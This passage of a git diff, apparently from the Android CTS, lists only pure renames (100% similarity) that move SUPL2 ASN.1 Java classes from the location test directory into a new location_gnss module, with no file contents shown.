rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeographicTargetArea.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetAreaList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeographicTargetAreaList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetAreaList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeographicTargetAreaList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/HRPDAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/HRPDAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/HRPDAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/HRPDAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/LTEAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/LTEAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/LTEAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/LTEAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/PeriodicParams.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/PeriodicParams.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/PeriodicParams.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/PeriodicParams.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/RepeatedReportingParams.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/RepeatedReportingParams.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/RepeatedReportingParams.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/RepeatedReportingParams.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerParams.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/TriggerParams.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerParams.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/TriggerParams.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/TriggerType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/TriggerType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/UMBAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/UMBAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/UMBAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/UMBAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/Ver2_SUPLTRIGGEREDSTART.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/Ver2_SUPLTRIGGEREDSTART.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/Ver2_SUPLTRIGGEREDSTART.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/Ver2_SUPLTRIGGEREDSTART.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WCDMAAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/WCDMAAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WCDMAAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/WCDMAAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WLANAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/WLANAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WLANAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/WLANAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WimaxAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/WimaxAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WimaxAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/WimaxAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_stop/Ver2_SUPLTRIGGEREDSTOP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_stop/Ver2_SUPLTRIGGEREDSTOP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_stop/Ver2_SUPLTRIGGEREDSTOP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_stop/Ver2_SUPLTRIGGEREDSTOP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp/ULP_PDU.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp/ULP_PDU.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp/ULP_PDU.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp/ULP_PDU.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp/UlpMessage.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp/UlpMessage.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp/UlpMessage.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp/UlpMessage.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/AltitudeInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/AltitudeInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/AltitudeInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/AltitudeInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_Ec_N0.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CPICH_Ec_N0.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_Ec_N0.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CPICH_Ec_N0.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_RSCP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CPICH_RSCP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_RSCP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CPICH_RSCP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CdmaCellInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CdmaCellInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CdmaCellInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CdmaCellInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResults.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellMeasuredResults.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResults.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellMeasuredResults.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResultsList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellMeasuredResultsList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResultsList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellMeasuredResultsList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellParametersID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellParametersID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellParametersID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellParametersID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/ChipRate.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/ChipRate.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/ChipRate.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/ChipRate.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FQDN.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FQDN.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FQDN.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FQDN.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FrequencyInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FrequencyInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoFDD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FrequencyInfoFDD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoFDD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FrequencyInfoFDD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoTDD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FrequencyInfoTDD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoTDD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FrequencyInfoTDD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/GsmCellInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/GsmCellInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/GsmCellInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/GsmCellInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandveruncert.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horandveruncert.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandveruncert.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horandveruncert.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandvervel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horandvervel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandvervel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horandvervel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horvel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horvel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horvel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horvel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horveluncert.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horveluncert.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horveluncert.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horveluncert.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/IPAddress.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/IPAddress.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/IPAddress.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/IPAddress.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/LocationId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/LocationId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/LocationId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/LocationId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResults.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/MeasuredResults.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResults.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/MeasuredResults.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResultsList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/MeasuredResultsList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResultsList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/MeasuredResultsList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMR.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/NMR.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMR.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/NMR.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMRelement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/NMRelement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMRelement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/NMRelement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Pathloss.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Pathloss.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Pathloss.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Pathloss.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PosMethod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PosMethod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PosMethod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PosMethod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Position.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Position.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Position.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Position.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PositionEstimate.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PositionEstimate.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PositionEstimate.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PositionEstimate.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCCPCH_RSCP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PrimaryCCPCH_RSCP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCCPCH_RSCP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PrimaryCCPCH_RSCP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCPICH_Info.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PrimaryCPICH_Info.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCPICH_Info.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PrimaryCPICH_Info.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/QoP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/QoP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/QoP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/QoP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SETId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SETId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SETId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SETId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SLPAddress.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SLPAddress.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SLPAddress.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SLPAddress.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SessionID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SessionID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SessionID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SessionID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SetSessionID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SetSessionID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SetSessionID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SetSessionID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SlpSessionID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SlpSessionID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SlpSessionID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SlpSessionID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Status.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Status.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Status.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Status.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/StatusCode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/StatusCode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/StatusCode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/StatusCode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TAResolution.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TAResolution.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TAResolution.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TAResolution.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TGSN.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TGSN.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TGSN.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TGSN.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TimeslotISCP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TimeslotISCP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP_List.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TimeslotISCP_List.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP_List.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TimeslotISCP_List.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimingAdvance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TimingAdvance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimingAdvance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TimingAdvance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UARFCN.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/UARFCN.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UARFCN.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/UARFCN.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UTRA_CarrierRSSI.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/UTRA_CarrierRSSI.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UTRA_CarrierRSSI.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/UTRA_CarrierRSSI.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Velocity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Velocity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Velocity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Velocity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Ver.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Ver.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Ver.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Ver.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Version.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Version.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Version.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Version.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/WcdmaCellInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/WcdmaCellInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/WcdmaCellInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/WcdmaCellInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/AllowedReportingType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/AllowedReportingType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/AllowedReportingType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/AllowedReportingType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/BasicProtectionParams.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/BasicProtectionParams.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/BasicProtectionParams.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/BasicProtectionParams.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/HistoricReporting.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/HistoricReporting.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/HistoricReporting.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/HistoricReporting.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/NotificationMode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/NotificationMode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/NotificationMode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/NotificationMode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtLevel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/ProtLevel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtLevel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/ProtLevel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtectionLevel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/ProtectionLevel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtectionLevel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/ProtectionLevel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ReportingCriteria.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/ReportingCriteria.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ReportingCriteria.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/ReportingCriteria.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/TimeWindow.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/TimeWindow.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/TimeWindow.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/TimeWindow.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_END_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_END_extension.java
similarity index 100%
